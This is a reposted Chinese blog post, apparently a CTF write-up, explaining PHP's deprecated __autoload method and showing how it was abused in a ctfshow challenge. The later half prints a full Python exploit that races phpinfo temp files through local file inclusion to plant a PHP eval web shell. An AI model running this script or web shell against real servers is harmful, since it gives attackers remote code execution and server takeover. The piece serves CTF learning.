autoload魔术方法的妙用

news2024/9/24 21:24:08

前言:

__autoload魔术方法从PHP7.2.0开始被废弃,并且在PHP8.0.0以上的版本完全废除。取而代之的则是spl_autoload_register,但是本文还是研究__autoload

什么是autoload魔术方法?

首先还是从官方手册中下手,了解autoload函数

由此可见,__autoload魔术方法需要有一个类名的参数,使用这个魔术方法之后即可自动加载相应的类。

虽然说是自动,但是本质上还是需要我们指定类名,__autoload才会为我们包含文件,自动加载相应的类。

举一个简单的例子,假设我们有index.php业务代码如下:

<?php
function __autoload($classname){
	include("class_$classname.php");
}
$a = new A(); 

并且我们有class_A.php代码如下:

<?php
class A{
	function __construct(){
		echo "I am class A\n";
	}
} 

我们可以看到,即使我们在index.php中没有包含class_A.php中的类A,但是在index.php中却新建了一个对象,此时因为在index.php中没有类A,所以PHP会自动调用__autoload魔术方法。

而我们__autoload魔术方法的作用就是将相关文件包含进来,因此最终程序还是成功的将I am class A输出。

所以,__autoload只需要我们在魔术方法内写明一个逻辑:如果在后面的代码中,新建一个对象,找不到对应的类的时候,应该包含哪些文件。

autoload相比手动加载有哪些优势?

虽然说感觉__autoload很智能,但是通过上方的例子并不能很明显体现__autoload的优点,因此下方换一个例子,用来展示__autoload相比手动加载的其他优势。

首先假设我们有autoload.php主业务逻辑代码如下:

<?php

require_once("class_A.php");
require_once("class_B.php");
require_once("class_C.php");

if ($_GET["class"] === 'A'){
	$a = new A();
}
else if ($_GET["class"] === 'B'){
	$b = new B();
}
else if ($_GET["class"] === 'C'){
	$c = new C();
} 

光看这么一段代码就已经觉得手动加载很繁琐了,因为在这段代码中,仅仅只是包含了三个文件,虽然本质上的业务逻辑十分简单,但是代码看起来很繁琐,并且在这一段代码还存在一个很大的问题,就是资源的浪费。我们可以看到主要的业务逻辑就是一个if语句,并且无论我们往class中怎么传参,总是至少有两个类是无法新建的。也就是说,在代码最上方的三行包含文件代码中,至少有两行的文件加载是多余的。因此,这样就就造成了资源的浪费。

那么如何解决这一个问题呢?

答案就是使用__autoload魔术方法,在我们需要的将相关文件包含进来。

因此我们将autoload.php代码修改如下:

<?php

function __autoload($classname){
	require("class_$classname.php");
}

if ($_GET["class"] === 'A'){
	$a = new A();
}
else if ($_GET["class"] === 'B'){
	$b = new B();
}
else if ($_GET["class"] === 'C'){
	$c = new C();
} 

这个时候不仅代码看上去清爽了很多,而且在理论上,运行的效率会更高,占用的系统资源会更少。

除此之外,这么写其实还有一个优点,这里用到的文件包含函数是require,而上方使用的是require_once,这么写的好处就是:如果后面再次调用类ABC,那么PHP会自动从内存中加载这些类,不会再一次调用__autoload魔术方法。

那么,__autoload在开发中这么神奇,在安全中有没有什么利用场景呢?

有!那必然是有!下面将从一道CTF赛题中看看__autoload在安全中是怎么用的。

从一道CTF题看autoload

首先题目代码如下:

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date: 2020-10-13 11:25:09
# @Last Modified by: h1xa
# @Last Modified time: 2020-10-19 07:12:57

*/
include("flag.php");
error_reporting(0);
highlight_file(__FILE__);

class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}

#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
} 

我们可以看到在类CTFSHOW里有一个__autoload魔术方法,虽然是在类里面,但是这是一个全局的魔术方法,也就是说只要调用未知名称的类,都会调用__autoload这个魔术方法,而__autoload魔术方法将传入的参数作为命令执行。

然后我们再往下审计:

$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET); 

这一部分代码是过滤部分字符,POST传入ctf,并且将GET请求中的变量名和值进行赋值

if(class_exists($__CTFSHOW__)){echo "class is exists!";
} 

这一部分有一个函数:class_exists

这一个函数和前面提到的新建对象一样,如果不存在这个类,同样也会调用__autoload魔术方法

而且需要有一个__CTFSHOW__变量,但是下划线过滤了。不过没关系,在PHP中,当我们使用.作为变量名时,PHP会将.转化为下划线。

if($isVIP && strrpos($ctf, ":")===FALSE && strrpos($ctf,"log")===FALSE){include($ctf);
} 

而这一部分代码不允许ctf中存在:,并且过滤了log,也就是不允许我们日志注入,但是这里存在一个文件包含。

因此我们可以考虑利用文件包含结合phpinfo进行RCE。

这里贴一个项目链接,这个项目大概就是可以通过phpinfo结合本地文件包含,利用PHP的文件上传会存在临时文件的特性,进行getshell,具体原理就不再赘述了,参考说明文档即可。

exp链接:vulhub/exp.py at master · vulhub/vulhub (github.com)

说明文档:vulhub/README.zh-cn.md at master · vulhub/vulhub (github.com)

将改exp修改部分后,如下:

#!/usr/bin/python
import sys
import threading
import socket

attempts_counter = 0

def setup(host, port, phpinfo_path, lfi_path, lfi_param, shell_code='<?php eval($_POST["mb"]);?>', shell_path='/tmp/g'):"""根据提供参数返回请求内容:param host:HOST:param port:端口:param phpinfo_path: phpinfo文件地址:param lfi_path: 包含lfi的文件地址:param lfi_param: lfi载入文件时, 指定文件名的参数:param shell_code: shell代码:param shell_path: shell代码保存位置:return:phpinfo_request: phpinfo 请求内容lfi_request: lfi 请求内容tag: 标识内容"""tag = 'Security Test' # 搜索验证标识payload = \
'''{tag}\r
<?php $c=fopen('{shell_path}','w');fwrite($c,'{shell_code}');?>\r
'''.format(shell_code=shell_code, tag=tag, shell_path=shell_path)request_data = \
'''-----------------------------7dbff1ded0714\r
Content-Disposition: form-data; name="dummyname"; filename="test.txt"\r
Content-Type: text/plain\r
\r
{payload}
-----------------------------7dbff1ded0714--\r
''' .format(payload=payload)phpinfo_request = \
'''POST {phpinfo_path}?%5f%5fCTFSHOW%5f%5f=phpinfo&a={padding} HTTP/1.1\r
Cookie: PHPSESSID=q249llvfromc1or39t6tvnun42; othercookie={padding}\r
HTTP_ACCEPT: {padding}\r
HTTP_USER_AGENT: {padding}\r
HTTP_ACCEPT_LANGUAGE: {padding}\r
HTTP_PRAGMA: {padding}\r
Content-Type: multipart/form-data; boundary=---------------------------7dbff1ded0714\r
Content-Length: {request_data_length}\r
Host: {host}:{port}\r
\r
{request_data}
'''.format(padding='A' * 4000,phpinfo_path=phpinfo_path,request_data_length=len(request_data),host=host,port=port,request_data=request_data)lfi_request = \
'''POST {lfi_path}?{lfi_param} HTTP/1.1\r
User-Agent: Mozilla/4.0\r
Proxy-Connection: Keep-Alive\r
Host: {host}\r
Content-Type: application/x-www-form-urlencoded\r
\r
ctf={{}}\r
'''.format(lfi_path=lfi_path,lfi_param=lfi_param,host=host)return phpinfo_request, tag, lfi_request

def phpinfo_lfi(host, port, phpinfo_request, offset, lfi_request, tag):"""通过向phpinfo发送大数据包延缓时间, 然后利用lfi执行:param host:HOST:param port:端口:param phpinfo_request: phpinfo页面请求内容:param offset: tmp_name在phpinfo中的偏移位:param lfi_request: lfi页面请求内容:param tag: 标识内容:return:tmp_file_name: 临时文件名"""phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)lfi_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)phpinfo_socket.connect((host, port))lfi_socket.connect((host, port))# 1. 先向phpinfo发送大数据包, 且其中包含php会将payload放入临时文件中# print(phpinfo_request)# print(lfi_request)phpinfo_socket.send(phpinfo_request.encode())phpinfo_response_data = ''while len(phpinfo_response_data) < offset:# 取不到数据则反复执行phpinfo_response_data += phpinfo_socket.recv(offset).decode()try:tmp_name_index = phpinfo_response_data.index('[tmp_name] =&gt')# 获取包含payload的临时文件名tmp_file_name = phpinfo_response_data[tmp_name_index + 17:tmp_name_index + 31]except ValueError:return None# 2. 再向lfi发送包含payload的临时文件名, 用于包含lfi_socket.send((lfi_request.format(tmp_file_name)).encode())# print(lfi_request.format(tmp_file_name))lfi_response_data = lfi_socket.recv(4096).decode()# 3. 停止phpinfo socket连接phpinfo_socket.close()# 4. 停止lfi socket连接lfi_socket.close()if lfi_response_data.find(tag) != -1:# 5. lfi response中存在标识内容则payload执行成功return tmp_file_name

class ThreadWorker(threading.Thread):def __init__(self, event, lock, max_attempts, host, port, phpinfo_request, offset, lfi_request, tag, shell_code, shell_path, lfi_path, lfi_param):threading.Thread.__init__(self)self.event = eventself.lock = lockself.max_attempts = max_attemptsself.host = hostself.port = portself.phpinfo_request = phpinfo_requestself.offset = offsetself.lfi_request = lfi_requestself.tag = tagself.shell_code = shell_codeself.shell_path = shell_pathself.lfi_path = lfi_pathself.lfi_param = lfi_paramdef run(self):global attempts_counterwhile not self.event.is_set():# 如果没有set event则一直重复执行, 直到已尝试次数大于最大尝试数(attempts_counter > max_attempts)with self.lock:# 获取锁, 执行完后释放if attempts_counter >= self.max_attempts:returnattempts_counter += 1try:tmp_file_name = phpinfo_lfi(self.host, self.port, self.phpinfo_request, self.offset, self.lfi_request, self.tag)if self.event.is_set():breakif tmp_file_name:# 找到tmp_file_name后通过set event停止运行print('\n{shell_code} 已经被写入到{shell_path}中'.format(shell_code=self.shell_code,shell_path=self.shell_path))'http://127.0.0.1/test/lfi_phpinfo/lfi.php?load=/tmp/gc&f=uname%20-a'print('默认调用方法: http://{host}:{port}{lfi_path}?{lfi_param}={shell_path}&f=uname%20-a'.format(host=self.host,port=self.port,lfi_path=self.lfi_path,lfi_param=self.lfi_param,shell_path=self.shell_path))self.event.set()except socket.error:return

def get_offset(host, port, phpinfo_request):"""获取tmp_name在phpinfo中的偏移量:param host: HOST:param port: 端口:param phpinfo_request: phpinfo 请求内容:return:tmp_name在phpinfo中的偏移量"""phpinfo_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)phpinfo_socket.connect((host, port))phpinfo_socket.send(phpinfo_request.encode())phpinfo_response_data = ''while True:i = phpinfo_socket.recv(4096).decode()phpinfo_response_data += iif i == '':break# 检测是否是最后一个数据块if i.endswith('0\r\n\r\n'):breakphpinfo_socket.close()tmp_name_index = phpinfo_response_data.find('[tmp_name] =&gt')print(phpinfo_response_data)if tmp_name_index == -1:raise ValueError('没有在phpinfo中找到tmp_name')print('找到了 {} 在phpinfo内容索引为{}的位置'.format(phpinfo_response_data[tmp_name_index:tmp_name_index+10], tmp_name_index))return tmp_name_index + 256

def main():pool_size = 100host = '7438117e-d02c-467c-859a-17c47f67b37e.challenge.ctf.show'port = 8080phpinfo_path = '/'lfi_path = '/'lfi_param = 'isVIP=1'shell_code = '<?php eval($_POST["mb"]);?>'shell_path = '/tmp/g'# 最大尝试次数max_attempts = 1000print('LFI With PHPInfo()')# 一 生成phpinfo请求内容, 标志内容, lfi请求内容phpinfo_request, tag, lfi_request = setup(host=host, port=port, phpinfo_path=phpinfo_path, lfi_path=lfi_path,lfi_param=lfi_param, shell_code=shell_code, shell_path=shell_path)# 二 获取[tmp_name]在phpinfo中的偏移位offset = get_offset(host, port, phpinfo_request)sys.stdout.flush()thread_event = threading.Event()thread_lock = threading.Lock()print('创建线程池 {}...'.format(pool_size))sys.stdout.flush()thread_pool = []for i in range(0, pool_size):# 三 多线程执行phpinfo_lfithread_pool.append(ThreadWorker(thread_event, thread_lock, max_attempts,host, port, phpinfo_request, offset,lfi_request, tag,shell_code, shell_path,lfi_path, lfi_param))for t in thread_pool:t.start()try:while not thread_event.wait(1):if thread_event.is_set():breakwith thread_lock:sys.stdout.write('\r{} / {}'.format(attempts_counter, max_attempts))sys.stdout.flush()if attempts_counter >= max_attempts:# 尝试次数大于最大尝试次数则退出breakif thread_event.is_set():print('''success !''')else:print('LJBD!')except KeyboardInterrupt:print('\n正在停止所有线程...')thread_event.set()for t in thread_pool:t.join()

if __name__ == "__main__":main() 

当然啦,这题除了可以利用__autoload魔术方法结合本地文件包含getshell,也可以用php上传文件条件竞争来做。

总结:

__autoload之所以好用,首先是因为它是一个全局的魔术方法,并且开发者在使用__autoload的时候,往往是为了包含相关的文件,而在指定包含的文件名时,就可能会出现包含文件可控的情况,虽然__autoload已经在新版本的PHP中废弃,但是在对我们研究老版本的PHP项目,还是有一定指导意义的。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/131754.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C++线程池的一种实现

线程池是实际开发中提高软件性能和稳定性的一种基本手段。可以想一下&#xff0c;如果程序中不用多线程&#xff0c;那执行效率会很低&#xff0c;如果运行线程太多&#xff0c;操作系统又吃不消&#xff0c;程序性能和稳定性会收到威胁。所以使用线程池技术诞生了&#xff0c;…

争做八桂好网民网络评选投票小程序投票的优劣微信怎么投票

用户在使用微信投票的时候&#xff0c;需要功能齐全&#xff0c;又快捷方便的投票小程序。而“活动星投票”这款软件使用非常的方便&#xff0c;用户可以随时使用手机微信小程序获得线上投票服务&#xff0c;很多用户都很喜欢“活动星投票”这款软件。“活动星投票”小程序在使…

【Linux】Linux进程的理解

如果不改变自己&#xff0c;就别把跨年搞的和分水岭一样&#xff0c;记住你今年是什么吊样&#xff0c;明年就还会是什么吊样&#xff01;&#xff01;&#xff01; 文章目录一、冯诺依曼体系结构&#xff08;硬件&#xff09;二、操作系统&#xff08;软件&#xff09;1.操作…

AWVS安装与使用(最新版2022.12.27更新)

AWVS安装与使用1.AWVS1.1.AWVS介绍1.2.AWVS下载2.AWVS安装2.1.AWVS安装流程2.1.1.运行安装2.1.2.安装位置2.1.3.设置账号密码2.1.4.端口设置2.1.5.远程设置2.1.6.安装证书2.2.AWVSpj2.2.1.pj软件设置2.2.2.运行pj软件2.2.3.成功过程2.2.4.失败过程&#xff08;成功跳过&#xf…

基于Jeecg-boot开发的物流仓储系统,含数据库文件,涵盖模块:用户管理、车辆管理、计划管理、仓库管理、库存管理、财务管理、统计报表等

物流管理系统 完整代码下载地址&#xff1a;基于Jeecg-boot开发的物流仓储系统 基础开发环境&#xff1a;由于有小伙伴在运行项目时版本号不一致产生的各种问题&#xff0c;这里可以统一下版本号。 JDK: 1.8Maven: 3.5MySql: 5.7Redis: 3.2 Node Js: 10.0 Npm: 5.6.0Yarn: 1…

Java语法要素练习

目录 1.A B 2.求差 3.圆的面积 4.平均数1 5.工资 6.油耗 7.两点间距离 8.钞票 9.时间转换 10.简单乘积 11.简单计算 12.球的体积 13.面积 14.平均数2 15.工资和奖金 16.最大值 17.距离 18.燃料消耗 19.钞票和硬币 20.天数转换 1.A B 输入两个整数&#…

01月份图形化四级打卡试题

活动时间 从2023年 1月1日至1月21日&#xff0c;每天一道编程题。 本次打卡的规则如下&#xff1a; &#xff08;1&#xff09;小朋友每天利用10~15分钟做一道编程题&#xff0c;遇到问题就来群内讨论&#xff0c;我来给大家答疑。 &#xff08;2&#xff09;小朋友做完题目后&…

chatgpt接口版本,chatgpt网页版,chatgpt国内直接用的版本,无广告、无套路、拿去就用

老规矩&#xff0c;先看效果&#xff1a; 文件是电脑端的网页版&#xff0c;打开之后输入你自己的apikey&#xff0c;然后就可以直接开始问了&#xff0c;带上下文功能&#xff0c;直接问的问题是自动跟之前上面的所有问题有关联的&#xff0c;如果想要重新开始一个上下文语境…

初入公司,一招shell教你如何看清linux应用服务日志

文章目录Linux系统查看应用日志一、背景二、分析2.1、思路三、shell脚本实现3.1、效果演示13.2、优化shell脚本3.3、效果演示2四、技能扩展Linux系统查看应用日志 一、背景 为了方便测试查看服务日志&#xff0c;而开发过shell来实现快捷查看日志脚本&#xff0c;具体做法呢就…

通过可视化运维配置,实现故障秒级自愈

急促的告警铃声响彻寂静的夜晚。对运维人来说&#xff0c;晚间值守耗费更大的精力&#xff0c;往往一个简单的磁盘使用率告警通知&#xff0c;就不得不爬起来进行处理&#xff0c;毕竟告警无小事&#xff0c;对于小问题&#xff0c;运维人也不能心存侥幸心理。虽然有着值班人员…

QML学习笔记【02】:QML快速入门

一、QML语法&#xff08;QML Syntax&#xff09; QML是一种描述用户界面的声明式语言。它将用户界面分解成一些更小的元素&#xff0c;这些元素能够结合成一个组件。QML语言描述了用户界面元素的形状和行为。用户界面能够使用JavaScript来提供修饰&#xff0c;或者增加更加复杂…

【OFDM系列9】OFDM采用正交区分不同子载波的,但是子载波通过调相后携带了基带信号后,如何还能继续保证两者正交

不经意间在知乎看到这样一个问题&#xff0c;在此记录一下我的看法 OFDM采用正交区分不同子载波的&#xff0c;但是子载波通过调相后携带了基带信号后&#xff0c;如何还能继续保证两者正交&#xff1f; 补充内容是&#xff1a;OFDM是指通过2组正交载波传递信息&#xff0c;但…

最小生成树,贪心算法和Prim算法的Java代码实现过程详解

1.最小生成树原理 之前学习的加权图&#xff0c;我们发现它的边关联了一个权重&#xff0c;那么我们就可以根据这个权重解决最小成本问题&#xff0c;但如何才能找到最小成本对应的顶点和边呢&#xff1f;最小生成树相关算法可以解决。 定义&#xff1a; 图的生成树是它的一棵含…

新生活、新成长、新认知

总览&#xff1a; 承接上文&#xff1a;https://blog.csdn.net/weixin_46141936/article/details/125537093 ​ 今年夏天 (即大三暑假) 入职 北京金山云 开始进行暑期实习&#xff0c;首次进到大城市、步入职场、接触到各种人、年龄的成长 等等&#xff0c;让我的心态 在 202…

Canvas drawImage() 方法实现图片压缩

图片压缩原理 1.CanvasRenderingContext2D.drawImage() 方法可以从页面 DOM 元素作为图像源来根据坐标和大小重新绘制该图像。 2.HTMLCanvasElement.toDataURL() 和 HTMLCanvasElement.toBlob() 方法支持导出为 base64 字符串或 Blob 对象。 CanvasRenderingContext2D.drawIm…

uboot增加开机logo

uboot的开机logo图片是存放在uboot源码的tools/logos下的&#xff0c;并且对图片的格式是有要求的&#xff0c;必须为bmp格式&#xff0c;且色彩深度为8bit&#xff0c;大小应小于显示屏像素大小。按如下步骤即可在uboot中添加自己的开机logo 1、修改logo的图片格式&#xff0…

Trie树,并查集的简单应用(AcWing)

Trie树 Trie 树&#xff0c;也叫“字典树”。顾名思义&#xff0c;它是一个树形结构。它是一种专门处理字符串匹配的数据结构&#xff0c;用来解决在一组字符串集合中快速查找某个字符串的问题。 在每一个单词的结尾需要进行标记&#xff0c;统计个数 现在对上述样例进行模拟…

C/C++教程-从一个main函数带你走进C、C++的世界

通过文章C语言教程-main函数 我们知道一个程序只有一个main函数; 通过这个文章,学习第一个程序; 程序: #include <stdio.h> int main() {printf("my first programe");return 0; } 输出效果: 很多书籍中的第一个程序都是什么"hello world"…

BurpSuite抓取https数据包配置

今天继续给大家介绍渗透测试相关知识&#xff0c;本文主要内容是BurpSuite抓取https数据包配置。 免责声明&#xff1a; 本文所介绍的内容仅做学习交流使用&#xff0c;严禁利用文中技术进行非法行为&#xff0c;否则造成一切严重后果自负&#xff01; 再次强调&#xff1a;严禁…

Linux 系统安装 pyenv 简明教程

推荐关注博主的微信公众号 Android安全工程&#xff0c;微信公众号围绕 Android 应用的安全防护和逆向分析为主要的两个点&#xff0c; 分享各种安全攻防手段、Hook 技术、ARM 汇编等 Android 相关的知识 前置条件 gitKali 2022 / Ubuntu 16.04 安装步骤 1. 从远程仓库中克隆…